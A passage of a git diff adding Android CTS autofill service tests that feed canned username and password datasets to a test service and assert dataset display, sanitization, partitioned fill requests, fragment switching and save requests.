+        sReplier.addResponse(builder.build());
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertDatasetsContains("The Dude");
+
+        // Tap cancel button on fill UI
+        mUiBot.selectByRelativeId(ID_CANCEL_FILL);
+        mUiBot.waitForIdle();
+
+        mUiBot.assertNoDatasets();
+
+        // Test and verify auto-fill does not trigger
+        mActivity.onPassword(View::requestFocus);
+        mUiBot.waitForIdle();
+
+        mUiBot.assertNoDatasetsEver();
+
+        // Test and verify auto-fill does not trigger.
+        mActivity.onUsername(View::requestFocus);
+        mUiBot.waitForIdle();
+
+        mUiBot.assertNoDatasetsEver();
+
+        // Reset
+        mActivity.tapClear();
+
+        // Set expectations.
+        final CannedFillResponse.Builder builder2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentationWithCancel("The Dude"))
+                        .build())
+                .setPresentationCancelIds(new int[]{R.id.cancel});
+        sReplier.addResponse(builder2.build());
+
+        // Trigger auto-fill.
+        mActivity.onPassword(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        // Verify auto-fill has been triggered.
+        mUiBot.assertDatasetsContains("The Dude");
+    }
+
+    @Presubmit
+    @Test
+    @AppModeFull(reason = "WRITE_SECURE_SETTING permission can't be grant to instant apps")
+    public void testSwitchInputMethod_noNewFillRequest() throws Exception {
+        // Set service
+        enableService();
+
+        // Set expectations
+        final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build());
+        sReplier.addResponse(builder.build());
+
+        // Trigger auto-fill
+        mActivity.onUsername(View::requestFocus);
+        sReplier.getNextFillRequest();
+
+        mUiBot.assertDatasetsContains("The Dude");
+
+        // Trigger IME switch event
+        Helper.mockSwitchInputMethod(sContext);
+        mUiBot.waitForIdleSync();
+
+        // Tap password field
+        mUiBot.selectByRelativeId(ID_PASSWORD);
+        mUiBot.waitForIdleSync();
+
+        mUiBot.assertDatasetsContains("The Dude");
+
+        // No new fill request
+        sReplier.assertNoUnhandledFillRequests();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/LoginWithStringsActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/LoginWithStringsActivityTest.java
new file mode 100644
index 0000000..f4f532b
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/LoginWithStringsActivityTest.java
@@ -0,0 +1,160 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.dropdown;
+
+import static android.autofillservice.cts.activities.LoginActivity.AUTHENTICATION_MESSAGE;
+import static android.autofillservice.cts.activities.LoginActivity.getWelcomeMessage;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD_LABEL;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME_LABEL;
+import static android.autofillservice.cts.testcore.Helper.assertHintFromResources;
+import static android.autofillservice.cts.testcore.Helper.assertTextAndValue;
+import static android.autofillservice.cts.testcore.Helper.assertTextFromResources;
+import static android.autofillservice.cts.testcore.Helper.assertTextIsSanitized;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.testcore.InstrumentedAutoFillService.waitUntilConnected;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.assist.AssistStructure.ViewNode;
+import android.autofillservice.cts.activities.LoginWithStringsActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
+import android.os.Bundle;
+import android.platform.test.annotations.AppModeFull;
+import android.view.View;
+
+import org.junit.Test;
+
+@AppModeFull(reason = "LoginActivityTest is enough")
+public class LoginWithStringsActivityTest
+        extends AutoFillServiceTestCase.AutoActivityLaunch<LoginWithStringsActivity> {
+
+    private LoginWithStringsActivity mActivity;
+
+
+    @Override
+    protected AutofillActivityTestRule<LoginWithStringsActivity> getActivityRule() {
+        return new AutofillActivityTestRule<LoginWithStringsActivity>(
+                LoginWithStringsActivity.class) {
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+            }
+        };
+    }
+
+    @Test
+    public void testAutoFillOneDatasetAndSave() throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final Bundle extras = new Bundle();
+        extras.putString("numbers", "4815162342");
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setId("I'm the alpha and the omega")
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .setExtras(extras)
+                .build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+        waitUntilConnected();
+
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+
+        // Make sure input was sanitized.
+        assertTextIsSanitized(fillRequest.structure, ID_USERNAME);
+        assertTextIsSanitized(fillRequest.structure, ID_PASSWORD);
+
+        // Make sure labels were not sanitized
+        assertTextFromResources(fillRequest.structure, ID_USERNAME_LABEL, "Username", false,
+                "username_string");
+        assertTextFromResources(fillRequest.structure, ID_PASSWORD_LABEL, "Password", false,
+                "password_string");
+
+        // Check text hints
+        assertHintFromResources(fillRequest.structure, ID_USERNAME, "Hint for username",
+                "username_hint");
+        assertHintFromResources(fillRequest.structure, ID_PASSWORD, "Hint for password",
+                "password_hint");
+
+        // Auto-fill it.
+        mUiBot.selectDataset("The Dude");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        // Try to login, it will fail.
+        final String loginMessage = mActivity.tapLogin();
+
+        assertWithMessage("Wrong login msg").that(loginMessage).isEqualTo(AUTHENTICATION_MESSAGE);
+
+        // Set right password...
+        mActivity.onPassword((v) -> v.setText("dude"));
+
+        // ... and try again
+        final String expectedMessage = getWelcomeMessage("dude");
+        final String actualMessage = mActivity.tapLogin();
+        assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
+
+        // Assert the snack bar is shown and tap "Save".
+        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+
+        assertThat(saveRequest.datasetIds).containsExactly("I'm the alpha and the omega");
+
+        // Assert value of expected fields - should not be sanitized.
+        final ViewNode username = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
+        assertTextAndValue(username, "dude");
+        final ViewNode password = findNodeByResourceId(saveRequest.structure, ID_USERNAME);
+        assertTextAndValue(password, "dude");
+
+        // Make sure labels were not sanitized
+        assertTextFromResources(saveRequest.structure, ID_USERNAME_LABEL, "Username", false,
+                "username_string");
+        assertTextFromResources(saveRequest.structure, ID_PASSWORD_LABEL, "Password", false,
+                "password_string");
+
+        // Check text hints
+        assertHintFromResources(fillRequest.structure, ID_USERNAME, "Hint for username",
+                "username_hint");
+        assertHintFromResources(fillRequest.structure, ID_PASSWORD, "Hint for password",
+                "password_hint");
+
+        // Make sure extras were passed back on onSave()
+        assertThat(saveRequest.data).isNotNull();
+        final String extraValue = saveRequest.data.getString("numbers");
+        assertWithMessage("extras not passed on save").that(extraValue).isEqualTo("4815162342");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/MultipleFragmentLoginTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/MultipleFragmentLoginTest.java
new file mode 100644
index 0000000..b5e5ec8
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/MultipleFragmentLoginTest.java
@@ -0,0 +1,248 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.dropdown;
+
+import static android.autofillservice.cts.activities.FragmentContainerActivity.FRAGMENT_TAG;
+import static android.autofillservice.cts.testcore.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.assist.AssistStructure;
+import android.app.assist.AssistStructure.ViewNode;
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.activities.FragmentContainerActivity;
+import android.autofillservice.cts.activities.FragmentWithMoreEditTexts;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService;
+import android.os.Bundle;
+import android.util.Log;
+import android.view.autofill.AutofillValue;
+import android.widget.EditText;
+
+import org.junit.Test;
+
+public class MultipleFragmentLoginTest
+        extends AutoFillServiceTestCase.AutoActivityLaunch<FragmentContainerActivity> {
+
+    private static final String LOG_TAG = "MultipleFragmentLoginTest";
+
+    private FragmentContainerActivity mActivity;
+    private EditText mEditText1;
+    private EditText mEditText2;
+
+    @Override
+    protected AutofillActivityTestRule<FragmentContainerActivity> getActivityRule() {
+        return new AutofillActivityTestRule<FragmentContainerActivity>(
+                FragmentContainerActivity.class) {
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+                mEditText1 = mActivity.findViewById(R.id.editText1);
+                mEditText2 = mActivity.findViewById(R.id.editText2);
+            }
+        };
+    }
+
+    @Test
+    public void loginOnTwoFragments() throws Exception {
+        enableService();
+
+        Bundle clientState = new Bundle();
+        clientState.putString("key", "value1");
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField("editText1", "editText1-autofilled")
+                        .setPresentation(createPresentation("dataset1"))
+                        .build())
+                .setExtras(clientState)
+                .build());
+
+        // Trigger autofill on editText2
+        mActivity.syncRunOnUiThread(() -> mEditText2.requestFocus());
+
+        final InstrumentedAutoFillService.FillRequest fillRequest1 = sReplier.getNextFillRequest();
+        assertThat(fillRequest1.data).isNull();
+
+        mUiBot.assertNoDatasetsEver(); // UI is only shown on editText1
+
+        mActivity.setRootContainerFocusable(false);
+
+        final AssistStructure structure = fillRequest1.contexts.get(0).getStructure();
+        assertThat(fillRequest1.contexts.size()).isEqualTo(1);
+        assertThat(findNodeByResourceId(structure, "editText1")).isNotNull();
+        assertThat(findNodeByResourceId(structure, "editText2")).isNotNull();
+        assertThat(findNodeByResourceId(structure, "editText3")).isNull();
+        assertThat(findNodeByResourceId(structure, "editText4")).isNull();
+        assertThat(findNodeByResourceId(structure, "editText5")).isNull();
+
+        // Wait until autofill has been applied
+        mActivity.syncRunOnUiThread(() -> mEditText1.requestFocus());
+        mUiBot.selectDataset("dataset1");
+        mUiBot.assertShownByText("editText1-autofilled");
+
+        // Manually fill view
+        mActivity.syncRunOnUiThread(() -> mEditText2.setText("editText2-manually-filled"));
+
+        // Replacing the fragment focused a previously unknown view which triggers a new
+        // partition
+        clientState.putString("key", "value2");
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField("editText3", "editText3-autofilled")
+                        .setField("editText4", "editText4-autofilled")
+                        .setPresentation(createPresentation("dataset2"))
+                        .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, "editText2", "editText5")
+                .setExtras(clientState)
+                .build());
+
+        Log.i(LOG_TAG, "Switching Fragments");
+        mActivity.syncRunOnUiThread(
+                () -> mActivity.getFragmentManager().beginTransaction().replace(
+                        R.id.rootContainer, new FragmentWithMoreEditTexts(),
+                        FRAGMENT_TAG).commitNow());
+        EditText editText5 = mActivity.findViewById(R.id.editText5);
+        final InstrumentedAutoFillService.FillRequest fillRequest2 = sReplier.getNextFillRequest();
+
+        // The fillRequest should have a fillContext for each partition. The first partition
+        // should be filled in
+        assertThat(fillRequest2.contexts.size()).isEqualTo(2);
+
+        assertThat(fillRequest2.data.getString("key")).isEqualTo("value1");
+
+        final AssistStructure structure1 = fillRequest2.contexts.get(0).getStructure();
+        ViewNode editText1Node = findNodeByResourceId(structure1, "editText1");
+        // The actual value in the structure is not updated in FillRequest-contexts, but the
+        // autofill value is. For text views in SaveRequest both are updated, but this is the
+        // only exception.
+        assertThat(editText1Node.getAutofillValue()).isEqualTo(
+                AutofillValue.forText("editText1-autofilled"));
+
+        ViewNode editText2Node = findNodeByResourceId(structure1, "editText2");
+        // Manually filled fields are not send to onFill. They appear in onSave if they are set
+        // as saveable fields.
+        assertThat(editText2Node.getText().toString()).isEqualTo("");
+
+        assertThat(findNodeByResourceId(structure1, "editText3")).isNull();
+        assertThat(findNodeByResourceId(structure1, "editText4")).isNull();
+        assertThat(findNodeByResourceId(structure1, "editText5")).isNull();
+
+        final AssistStructure structure2 = fillRequest2.contexts.get(1).getStructure();
+
+        assertThat(findNodeByResourceId(structure2, "editText1")).isNull();
+        assertThat(findNodeByResourceId(structure2, "editText2")).isNull();
+        assertThat(findNodeByResourceId(structure2, "editText3")).isNotNull();
+        assertThat(findNodeByResourceId(structure2, "editText4")).isNotNull();
+        assertThat(findNodeByResourceId(structure2, "editText5")).isNotNull();
+
+        // Wait until autofill has been applied
+        mUiBot.selectDataset("dataset2");
+        mUiBot.assertShownByText("editText3-autofilled");
+        mUiBot.assertShownByText("editText4-autofilled");
+
+        // Manually fill view
+        mActivity.syncRunOnUiThread(() -> editText5.setText("editText5-manually-filled"));
+
+        // Finish activity and save data
+        mActivity.finish();
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+
+        // The saveRequest should have a fillContext for each partition with all the data
+        final InstrumentedAutoFillService.SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertThat(saveRequest.contexts.size()).isEqualTo(2);
+
+        assertThat(saveRequest.data.getString("key")).isEqualTo("value2");
+
+        final AssistStructure saveStructure1 = saveRequest.contexts.get(0).getStructure();
+        editText1Node = findNodeByResourceId(saveStructure1, "editText1");
+        assertThat(editText1Node.getText().toString()).isEqualTo("editText1-autofilled");
+
+        editText2Node = findNodeByResourceId(saveStructure1, "editText2");
+        assertThat(editText2Node.getText().toString()).isEqualTo("editText2-manually-filled");
+
+        assertThat(findNodeByResourceId(saveStructure1, "editText3")).isNull();
+        assertThat(findNodeByResourceId(saveStructure1, "editText4")).isNull();
+        assertThat(findNodeByResourceId(saveStructure1, "editText5")).isNull();
+
+        final AssistStructure saveStructure2 = saveRequest.contexts.get(1).getStructure();
+        assertThat(findNodeByResourceId(saveStructure2, "editText1")).isNull();
+        assertThat(findNodeByResourceId(saveStructure2, "editText2")).isNull();
+
+        ViewNode editText3Node = findNodeByResourceId(saveStructure2, "editText3");
+        assertThat(editText3Node.getText().toString()).isEqualTo("editText3-autofilled");
+
+        ViewNode editText4Node = findNodeByResourceId(saveStructure2, "editText4");
+        assertThat(editText4Node.getText().toString()).isEqualTo("editText4-autofilled");
+
+        ViewNode editText5Node = findNodeByResourceId(saveStructure2, "editText5");
+        assertThat(editText5Node.getText().toString()).isEqualTo("editText5-manually-filled");
+    }
+
+    @Test
+    public void uiDismissedWhenNonSavableFragmentIsGone() throws Exception {
+        uiDismissedWhenFragmentIsGoneText(false);
+    }
+
+    @Test
+    public void uiDismissedWhenSavableFragmentIsGone() throws Exception {
+        uiDismissedWhenFragmentIsGoneText(true);
+    }
+
+    private void uiDismissedWhenFragmentIsGoneText(boolean savable) throws Exception {
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final CannedFillResponse.Builder response = new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField("editText1", "whatever")
+                        .setPresentation(createPresentation("dataset1"))
+                        .build());
+        if (savable) {
+            response.setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, "editText2");
+        }
+
+        sReplier.addResponse(response.build());
+
+        // Trigger autofill on editText2
+        mActivity.syncRunOnUiThread(() -> mEditText2.requestFocus());
+        sReplier.getNextFillRequest();
+        mUiBot.assertNoDatasetsEver(); // UI is only shown on editText1
+
+        mActivity.setRootContainerFocusable(false);
+
+        // Check UI is shown, but don't select it.
+        mActivity.syncRunOnUiThread(() -> mEditText1.requestFocus());
+        mUiBot.assertDatasets("dataset1");
+
+        // Switch fragments
+        sReplier.addResponse(NO_RESPONSE);
+        mActivity.syncRunOnUiThread(
+                () -> mActivity.getFragmentManager().beginTransaction().replace(
+                        R.id.rootContainer, new FragmentWithMoreEditTexts(),
+                        FRAGMENT_TAG).commitNow());
+        // Make sure UI is gone.
+        sReplier.getNextFillRequest();
+        mUiBot.assertNoDatasets();
+    }
+
+    // TODO: add similar tests for fragment with virtual view
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/dropdown/PartitionedActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/dropdown/PartitionedActivityTest.java
new file mode 100644
index 0000000..5408413
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/dropdown/PartitionedActivityTest.java
@@ -0,0 +1,2282 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.dropdown;
+
+import static android.autofillservice.cts.activities.GridActivity.ID_L1C1;
+import static android.autofillservice.cts.activities.GridActivity.ID_L1C2;
+import static android.autofillservice.cts.activities.GridActivity.ID_L2C1;
+import static android.autofillservice.cts.activities.GridActivity.ID_L2C2;
+import static android.autofillservice.cts.activities.GridActivity.ID_L3C1;
+import static android.autofillservice.cts.activities.GridActivity.ID_L3C2;
+import static android.autofillservice.cts.activities.GridActivity.ID_L4C1;
+import static android.autofillservice.cts.activities.GridActivity.ID_L4C2;
+import static android.autofillservice.cts.testcore.Helper.UNUSED_AUTOFILL_VALUE;
+import static android.autofillservice.cts.testcore.Helper.assertHasFlags;
+import static android.autofillservice.cts.testcore.Helper.assertTextIsSanitized;
+import static android.autofillservice.cts.testcore.Helper.assertValue;
+import static android.autofillservice.cts.testcore.Helper.getContext;
+import static android.autofillservice.cts.testcore.Helper.getMaxPartitions;
+import static android.autofillservice.cts.testcore.Helper.setMaxPartitions;
+import static android.service.autofill.FillRequest.FLAG_MANUAL_REQUEST;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_ADDRESS;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_CREDIT_CARD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_USERNAME;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.assist.AssistStructure.ViewNode;
+import android.autofillservice.cts.activities.AuthenticationActivity;
+import android.autofillservice.cts.activities.GridActivity.FillExpectation;
+import android.autofillservice.cts.commontests.AbstractGridActivityTestCase;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
+import android.content.IntentSender;
+import android.os.Bundle;
+import android.platform.test.annotations.AppModeFull;
+import android.service.autofill.FillResponse;
+
+import org.junit.Test;
+
+/**
+ * Test case for an activity containing multiple partitions.
+ */
+@AppModeFull(reason = "Service-specific test")
+public class PartitionedActivityTest extends AbstractGridActivityTestCase {
+
+    @Test
+    public void testAutofillTwoPartitionsSkipFirst() throws Exception {
+        // Set service.
+        enableService();
+
+        // Prepare 1st partition.
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L1C1, "l1c1", createPresentation("l1c1"))
+                        .setField(ID_L1C2, "l1c2", createPresentation("l1c2"))
+                        .build())
+                .build();
+        sReplier.addResponse(response1);
+
+        // Trigger auto-fill on 1st partition.
+        focusCell(1, 1);
+        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
+        assertThat(fillRequest1.flags).isEqualTo(0);
+        final ViewNode p1l1c1 = assertTextIsSanitized(fillRequest1.structure, ID_L1C1);
+        final ViewNode p1l1c2 = assertTextIsSanitized(fillRequest1.structure, ID_L1C2);
+        assertWithMessage("Focus on p1l1c1").that(p1l1c1.isFocused()).isTrue();
+        assertWithMessage("Focus on p1l1c2").that(p1l1c2.isFocused()).isFalse();
+
+        // Make sure UI is shown, but don't tap it.
+        mUiBot.assertDatasets("l1c1");
+        focusCell(1, 2);
+        mUiBot.assertDatasets("l1c2");
+
+        // Now tap a field in a different partition
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_L2C1, "l2c1", createPresentation("l2c1"))
+                        .setField(ID_L2C2, "l2c2", createPresentation("l2c2"))
+                        .build())
+                .build();
+        sReplier.addResponse(response2);
+
+        // Trigger auto-fill on 2nd partition.
+        focusCell(2, 1);
+        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
+        assertThat(fillRequest2.flags).isEqualTo(0);
+        final ViewNode p2l1c1 = assertTextIsSanitized(fillRequest2.structure, ID_L1C1);
+        final ViewNode p2l1c2 = assertTextIsSanitized(fillRequest2.structure, ID_L1C2);
+        final ViewNode p2l2c1 = assertTextIsSanitized(fillRequest2.structure, ID_L2C1);
+        final ViewNode p2l2c2 = assertTextIsSanitized(fillRequest2.structure, ID_L2C2);
+        assertWithMessage("Focus on p2l1c1").that(p2l1c1.isFocused()).isFalse();
+        assertWithMessage("Focus on p2l1c2").that(p2l1c2.isFocused()).isFalse();
+        assertWithMessage("Focus on p2l2c1").that(p2l2c1.isFocused()).isTrue();
+        assertWithMessage("Focus on p2l2c2").that(p2l2c2.isFocused()).isFalse();
+        // Make sure UI is shown, but don't tap it.
+        mUiBot.assertDatasets("l2c1");
+        focusCell(2, 2);
+        mUiBot.assertDatasets("l2c2");
+
+        // Now fill them
+        final FillExpectation expectation1 = mActivity.expectAutofill()
+                .onCell(1, 1, "l1c1").onCell(1, 2, "l1c2");
+        focusCell(1, 1);
+        mUiBot.selectDataset("l1c1");
+        expectation1.assertAutoFilled();
+
+        // Change previous values to make sure they are not filled again
+        mActivity.setText(1, 1, "L1C1");
+        mActivity.setText(1, 2, "L1C2");
+
+        final FillExpectation expectation2 = mActivity.expectAutofill()
+                .onCell(2, 1, "l2c1").onCell(2, 2, "l2c2");
+        focusCell(2, 2);
+        mUiBot.selectDataset("l2c2");
+        expectation2.assertAutoFilled();
+
+        // Make sure previous partition didn't change
+        assertThat(mActivity.getText(1, 1)).isEqualTo("L1C1");
+        assertThat(mActivity.getText(1, 2)).isEqualTo("L1C2");
+    }
+
+    @Test
+    public void testAutofillTwoPartitionsInSequence() throws Exception {
+        // Set service.
+        enableService();
+
+        // 1st partition
+        // Prepare.
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("Partition 1"))
+                        .setField(ID_L1C1, "l1c1")
+                        .setField(ID_L1C2, "l1c2")
+                        .build())
+                .build();
+        sReplier.addResponse(response1);
+        final FillExpectation expectation1 = mActivity.expectAutofill()
+                .onCell(1, 1, "l1c1")
+                .onCell(1, 2, "l1c2");
+
+        // Trigger auto-fill.
+        focusCell(1, 1);
+        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
+        assertThat(fillRequest1.flags).isEqualTo(0);
+
+        assertTextIsSanitized(fillRequest1.structure, ID_L1C1);
+        assertTextIsSanitized(fillRequest1.structure, ID_L1C2);
+
+        // Auto-fill it.
+        mUiBot.selectDataset("Partition 1");
+
+        // Check the results.
+        expectation1.assertAutoFilled();
+
+        // 2nd partition
+        // Prepare.
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("Partition 2"))
+                        .setField(ID_L2C1, "l2c1")
+                        .setField(ID_L2C2, "l2c2")
+                        .build())
+                .build();
+        sReplier.addResponse(response2);
+        final FillExpectation expectation2 = mActivity.expectAutofill()
+                .onCell(2, 1, "l2c1")
+                .onCell(2, 2, "l2c2");
+
+        // Trigger auto-fill.
+        focusCell(2, 1);
+        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
+        assertThat(fillRequest2.flags).isEqualTo(0);
+
+        assertValue(fillRequest2.structure, ID_L1C1, "l1c1");
+        assertValue(fillRequest2.structure, ID_L1C2, "l1c2");
+        assertTextIsSanitized(fillRequest2.structure, ID_L2C1);
+        assertTextIsSanitized(fillRequest2.structure, ID_L2C2);
+
+        // Auto-fill it.
+        mUiBot.selectDataset("Partition 2");
+
+        // Check the results.
+        expectation2.assertAutoFilled();
+    }
+
+    @Test
+    public void testAutofill4PartitionsAutomatically() throws Exception {
+        autofill4PartitionsTest(false);
+    }
+
+    @Test
+    public void testAutofill4PartitionsManually() throws Exception {
+        autofill4PartitionsTest(true);
+    }
+
+    private void autofill4PartitionsTest(boolean manually) throws Exception {
+        // Set service.
+        enableService();
+
+        // 1st partition
+        // Prepare.
+        final CannedFillResponse response1 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("Partition 1"))
+                        .setField(ID_L1C1, "l1c1")
+                        .setField(ID_L1C2, "l1c2")
+                        .build())
+                .build();
+        sReplier.addResponse(response1);
+        final FillExpectation expectation1 = mActivity.expectAutofill()
+                .onCell(1, 1, "l1c1")
+                .onCell(1, 2, "l1c2");
+
+        // Trigger auto-fill.
+        mActivity.triggerAutofill(manually, 1, 1);
+        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
+
+        if (manually) {
+            assertHasFlags(fillRequest1.flags, FLAG_MANUAL_REQUEST);
+            assertValue(fillRequest1.structure, ID_L1C1, "");
+        } else {
+            assertThat(fillRequest1.flags).isEqualTo(0);
+            assertTextIsSanitized(fillRequest1.structure, ID_L1C1);
+        }
+        assertTextIsSanitized(fillRequest1.structure, ID_L1C2);
+
+        // Auto-fill it.
+        mUiBot.selectDataset("Partition 1");
+
+        // Check the results.
+        expectation1.assertAutoFilled();
+
+        // 2nd partition
+        // Prepare.
+        final CannedFillResponse response2 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("Partition 2"))
+                        .setField(ID_L2C1, "l2c1")
+                        .setField(ID_L2C2, "l2c2")
+                        .build())
+                .build();
+        sReplier.addResponse(response2);
+        final FillExpectation expectation2 = mActivity.expectAutofill()
+                .onCell(2, 1, "l2c1")
+                .onCell(2, 2, "l2c2");
+
+        // Trigger auto-fill.
+        mActivity.triggerAutofill(manually, 2, 1);
+        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
+
+        assertValue(fillRequest2.structure, ID_L1C1, "l1c1");
+        assertValue(fillRequest2.structure, ID_L1C2, "l1c2");
+        if (manually) {
+            assertHasFlags(fillRequest2.flags, FLAG_MANUAL_REQUEST);
+            assertValue(fillRequest2.structure, ID_L2C1, "");
+        } else {
+            assertThat(fillRequest2.flags).isEqualTo(0);
+            assertTextIsSanitized(fillRequest2.structure, ID_L2C1);
+        }
+        assertTextIsSanitized(fillRequest2.structure, ID_L2C2);
+
+        // Auto-fill it.
+        mUiBot.selectDataset("Partition 2");
+
+        // Check the results.
+        expectation2.assertAutoFilled();
+
+        // 3rd partition
+        // Prepare.
+        final CannedFillResponse response3 = new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setPresentation(createPresentation("Partition 3"))
+                        .setField(ID_L3C1, "l3c1")
